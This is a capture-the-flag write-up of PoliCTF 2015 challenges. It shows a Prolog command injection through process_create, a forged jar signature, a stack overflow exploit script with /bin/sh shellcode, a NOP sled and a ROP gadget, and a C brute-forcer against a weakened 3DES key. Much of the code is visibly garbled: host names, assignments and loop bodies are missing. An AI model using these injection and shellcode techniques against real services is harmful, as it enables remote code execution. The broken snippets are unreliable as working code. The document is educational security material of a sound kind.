This is a writeup from the first capture the flag competition I participated in, the PoliCTF. The challenges ranged from web vulnerabilities, through crypto challenges to writing binary exploits. I really enjoyed the competition and I am looking forward to the next year.


This one is trivial, a server is listening for user input and responding with some hex-encoded data.

$ nc 80

The flag can be extracted by xoring the user-provided string with the server response.

Hanoi as a service

Connecting to the provided address:

$ nc 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
* Move top disk from a to b
* Move top disk from a to c
* Move top disk from b to c
* Move top disk from a to b
* Move top disk from c to a
* Move top disk from c to b
* Move top disk from a to b

Hmm, cool, let’s see, what happens on invalid input:

How many disks does your tower have?
ERROR: Prolog initialisation failed:
ERROR: </2: Arithmetic: `asd/0' is not a function>

It runs Prolog, great. After a while of reading up on the syntax, I figured how to inject arbitrary code. So I tried the obvious:

How many disks does your tower have?
Nice try...

It looks like the shell() and unix() functions were removed. After some more searching the documentation, I found that Prolog also has process_create(), which works:

How many disks does your tower have?
1),process_create(path(uname), ['-a'], [])%
* Move top disk from a to b
Linux ip-172-31-2-198 3.14.39grsec1.0-grsec #2 SMP Thu Apr 23 15:12:34 CEST 2015 x86_64 x86_64 x86_64 GNU/Linux

I am not really sure if this is the intended solution or process_create was just overlooked but hey, it works :)

Crack me if you can

This one is an Android app. Unpacking the .apk and running strings on classes.dex yields:

$ strings classes.dex | grep flag

It turns out that this flag is just a bait, so some further digging is needed. Disassembling the dalvik .dex using smali reveals three classes.

└── polictf2015
	├── a.smali
	├── b.smali
	├── c.smali
	└── LoginActivity.smali

a.smali is just some OnClickListener implementation, but b.smali and c.smali both contain methods of this form:

.method public static a(Ljava/lang/String;)Ljava/lang/String;
    .registers 3

    const-string v0, "c"

    const-string v1, "a"

    invoke-virtual {p0, v0, v1}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;

    move-result-object v0

    return-object v0
.end method

These are then composed in LoginActivity.smali

.method private a(Ljava/lang/String;)Z
    .registers 5

    const/4 v0, 0x1

    const v1, 0x7f0c0038

    invoke-virtual {p0, v1}, Lit/polictf2015/LoginActivity;->getString(I)Ljava/lang/String;

    move-result-object v1

    invoke-static {v1}, Lit/polictf2015/c;->d(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v1

    invoke-static {v1}, Lit/polictf2015/c;->b(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v1

The next step is to extract the obfuscated string from resourses.arsc. The content can be guessed from the substitution functions being called, so strings+grep is enough to do the job.

$ strings resources.arsc | grep spdgj

Now I just implemented deobfuscator in Python and captured the flag.


The binary provided in this challenge expects input on stdout and returns “Wrong input.” unless the input matches the flag.

Opening the binary in radare2 reveals that the input string is fed into some verifying function which iterates over it, checking whether individual characters are lowercase letters and applying some mysterious transformation. It then does some checking to see, if the flag is correct.

By testing various inputs, it turns out, that the transformation is just plain rot13.

The next stage then checks if differences between adjacent characters match some hard-coded values.

The flag string can therefore be easily reconstructed:

#! /usr/bin/env python3

ds = [-1, 17, -11, 3, -8, 5, 14, -3, 1, 6, -11, 6, -8, -10]

def rot13(a):
    return (a + 13) % 26

def tostr(a):
    return chr(ord("a") + rot13(a))

for st in range(26): # Iterate over all possible starting values
    res = tostr(st)
    c = st
    for d in ds:
        nc = (c + d) % 26
        if nc - c != d:
        c = nc
        res += tostr(c)
    if len(res) == len(ds) + 1:

This outputs two possible values for the flag, both of which are correct.

John pastry shop

In this challenge, the server accepts a .jar file containing implementation of the provided Cake class. It then prints the ingredients added in its addIngredientsToCake().

The provided ShamanoCakeContainerEncoded.jar:

$ cat ShamanoCakeContainerEncoded.jar | nc 80
nc: using stream socket
Welcome to John's Pastry Shop!
In John's opinion this cake container seems a trusted one from Shamano's Pastry Shop.
And it also contains a valid NewYorkCheeseCake.
This seems a tasty cake!
Here are its ingredients:
* Cream Cheese
* Biscuits
* Sugar
* Isinglass
Thanks for visiting John's Pastry Shop!

The objective is to submit a .jar file containing implementation of the provided abstract Cake class which sets the shouldBeAddedTheSpecialIngredient variable to true.

public abstract class Cake {

    protected boolean shouldBeAddedTheSpecialIngredient;
    protected List<String> ingredientsList;

    // Zero constructor
    protected Cake() {
        shouldBeAddedTheSpecialIngredient = false;
        ingredientsList = new LinkedList<>();
public class NewYorkCheeseCake extends Cake {
	public void addIngredientsToCake() {
		this.shouldBeAddedTheSpecialIngredient = true;

The .jars are first encoded by a simple algorithm from Rewritten to Python:

#! /usr/bin/env python3

import sys

INIT_BYTE = b"\x17"
ESCAPE_BYTE = b"\x18"
EXIT_BYTE = b"\x19"

with open(sys.argv[2], "rb") as i, open(sys.argv[3], "wb") as o:
    if sys.argv[1] == "decode":
        valid = False
        escape = False
        closed = False
        while not closed:
            b =
            if b == b"":
            if b == INIT_BYTE and not escape:
                valid = True
            elif b == ESCAPE_BYTE and not escape:
                escape = True
            elif escape and not valid:
                escape = False
            elif valid:
                escape = False
    elif sys.argv[1] == "encode":
        data =
        data = data.replace(ESCAPE_BYTE, ESCAPE_BYTE * 2) \
            .replace(INIT_BYTE, ESCAPE_BYTE + INIT_BYTE) \
            .replace(EXIT_BYTE, ESCAPE_BYTE + EXIT_BYTE)

Just packing a .jar with the custom NewYorkCheeseCake.class and submiting it to the server is not enough though.

$ cat encoded.jar | nc 80                                       1s
Welcome to John's Pastry Shop!
[Error] The cake container has unsigned class files. Exit now..

The server seems to require a signature. The challenge description heavily hints that the certificate chain is not actually verified, so signing the jar is just a matter of creating a certificate with field values identical to the one used to sign the original .jar. This is an easy jarsigner exercise, omitted for brevity.

$ cat evil.jar | nc 80                                      1s  
nc: using stream socket
Welcome to John's Pastry Shop!
In John's opinion this cake container seems a trusted one from Shamano's Pastry Shop.
And it also contains a valid NewYorkCheeseCake.
This seems a tasty cake!
Here are its ingredients:
Thanks for visiting John's Pastry Shop!

John’s library

This challenge required exploiting a binary running on a remote server.

$ ./johns-library
Welcome to the jungle library mate! Try to escape!!
 r - read from library
 a - add element
 u - exit
Hey mate! Insert how long is the book title: 
Lorem ipsum dolor sit amet
 r - read from library
 a - add element
 u - exit
Insert the index of the book you want to read: 1
ipsum dolor sit amet 
 r - read from library
 a - add element
 u - exit
bye bye!

Starting radare2 and looking at the add_element_to_library function, a buffer overflow can be immediately spotted in a gets() call. This allows an attacker to overwrite return value of the main function.

As there is no way to know address at which the shellcode is going to be placed, another pointer, further down the stack needs to be used. This pointer points slightly below the buffer, but after setting up the exploit in such a way that its least significant byte is overwritten with the string terminating \0 (this trick only works on little endian machines), it points somewhere inside the 1024 byte buffer about ~20% of the time.

This pointer is then loaded into %eip using a rop gadget:

And putting it all together into a python script:

#! /usr/bin/env python3

import struct as s
import sys
import time

# First nop sled
expl = b"\x90" * 700

# /bin/sh shellcode
expl += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53" \

expl += b"\x90" * (1041 - len(expl) - 30) # Second nop sled
expl += b"\xe9\x07\xfe\xff\xff" # jmp -500
# The next getchar result gets stored in this part
expl += b"A" * (1041 - len(expl))

expl += s.pack("I", 0x080487ef) # ret gadget

expl += b"BBBB"
expl += b"\n"

for l in [b"a\n", b"10\n", expl, b"u\n"]:


This one was definitely the most fun. Connecting to the provided address:

$ nc 80
Welcome! Wanna talk with John? Follow the instructions to get a Secure Channel.

You surely know what to do with this:

Insert key:

Looking at the connection handling code:

// Print things.
plain := []byte(
	"\nWelcome! Wanna talk with John? Follow the instructions to get a Secure™ Channel.\n")
cipherthings := make([]byte, 1024)
ciphertext := encrypt(plain, muchCipher)
hex.Encode(cipherthings, ciphertext)
plain = append(plain, cipherthings...)

plain = []byte("\n\nYou surely know what to do with this:\n")
cipherthings = make([]byte, 1024)
ciphertext = encrypt(superkey, muchCipher)
hex.Encode(cipherthings, ciphertext)
plain = append(plain, cipherthings...)
func NewTripleDOGESCipher(tripleDOGESKey []byte) (cipher.Block, error) {
	// I can't break it, so it is unbreakable. A friend told us so.
	muchCipher, err := des.NewTripleDESCipher(tripleDOGESKey)

So it sends a constant string and a password encrypted with 3DES. The key is generated by the following:

func muchSecurity(key []byte) []byte {
	var tripleDOGESKey []byte

	secondKey := make([]byte, 16)
	copy(secondKey, key)
	for i := 8; i < 16; i++ {
		// Let's be sure it is enough complex. Complex is good, a friend told us so.
		key[i] = (secondKey[i] & 0x3c) | (suchSubstitution[(secondKey[i]>>2)&0x0f] << 6)
		key[i] |= (key[i] >> 3) & 0x03
		key[i] |= ((key[i] >> 4) ^ key[i]) << 7

	// EDE2 is required.
	tripleDOGESKey = append(tripleDOGESKey, key[:8]...)
	fmt.Println(append(tripleDOGESKey, key[:16]...))
	return append(tripleDOGESKey, key[:16]...)
ede2Key := []byte("<-- Some supersecret encryption key goes here -->")
tripleDOGESKey := muchSecurity(ede2Key)

As cracking 3DES is not an option (yet), the vulnerability has to be in the key generation. The function seems to attempt to generate EDE2 key, but due to the way 3DES works, it generates only what is equivalent to normal DES. DES itself is attackable, but not on my hardware and not on time to finish before the competition ends.

Let’s look a little more at individual byte generation:

key[i] = (secondKey[i] & 0x3c) | (suchSubstitution[(secondKey[i]>>2)&0x0f] << 6)
key[i] |= (key[i] >> 3) & 0x03
key[i] |= ((key[i] >> 4) ^ key[i]) << 7

Input into the process consists only of 5 bits per key byte. This means that the keyspace has at most 2⁴⁰ keys. Still a bit much.

The magic bit shuffling cannot probably generate all 32 values:

def transform(n):
    ret = (n & 0x3c) | (subst[(n >> 2) & 0x0f] << 6)
    ret &= 0xff
    ret |= (ret >> 3) & 0x03
    ret |= ((ret >> 4) ^ ret) << 7
    ret &= 0xff
    return ret
s = set()
for b in range(256):
{0, 27, 32, 59, 68, 95, 100, 127, 141, 150, 169, 173, 201, 210, 242, 246}

So about half that. This means a keyspace of 2³², which should be searchable relatively quickly.

My first implementation in Python using PyCrypto had too much overhead and the total search time was about ~100 hours. After I rewrote the cracker in C, calling OpenSSL directly, the time it took to iterate over the entire keyspace decreased down to about 30 minutes.

#include <string.h>
#include <stdio.h>
#include <time.h>
#include <openssl/des.h>
#include <stdint.h>
#include <stdbool.h>

#define ASIZE(x) \
	(sizeof(x) / sizeof(x[0]))

const uint8_t keybytes[] = \
	{0, 27, 32, 59, 68, 95, 100, 127, 141, 150, 169, 173, 201, 210, 242, 246};

const uint8_t iv[] = {0xe9, 0x21, 0x92, 0xe7, 0x1e, 0xb9, 0x3a, 0xd8};
// As the plaintext is known, decrypting only one block is needed
const uint8_t tocrack[] = {0xb9, 0x67, 0x35, 0x17, 0xe3, 0x94, 0xe7, 0x5c};

void main()
	int counter[8] = {0, 0, 0, 0, 0, 0, 0, 0};
	long cnt = 0;
	DES_cblock key;
	DES_key_schedule keysched;
	uint8_t out[sizeof(tocrack)];

	clock_t start = clock();

	while (true) {
		for (int i = 0; i < ASIZE(counter); i++)
			key[i] = keybytes[counter[i]];

		if (cnt % 1000000 == 0) {
			clock_t now = clock();
			printf("%ld\t%ld\n", cnt, (now - start) / 1000);
			start = now;

		DES_set_key_checked(&key, &keysched);
		DES_cblock ivec;
		memcpy(ivec, iv, sizeof(ivec));

		DES_ncbc_encrypt(tocrack, out, sizeof(tocrack),
				&keysched, &ivec, DES_DECRYPT);

		if (out[0] == '\n' && out[1] == 'W'
				&& out[2] == 'e' && out[3] == 'l') {
			for (int i = 0; i < ASIZE(out); i++)
				printf("%c", out[i]);
			printf("[%d, %d, %d, %d, %d, %d, %d, %d]\n",
					key[0], key[1], key[2], key[3],
					key[4], key[5], key[6], key[7]);

		for (int k = 0; k < 8; k++) {
			if (counter[k] >= ASIZE(keybytes))
				counter[k] = 0;
		if (counter[7] == ASIZE(keybytes))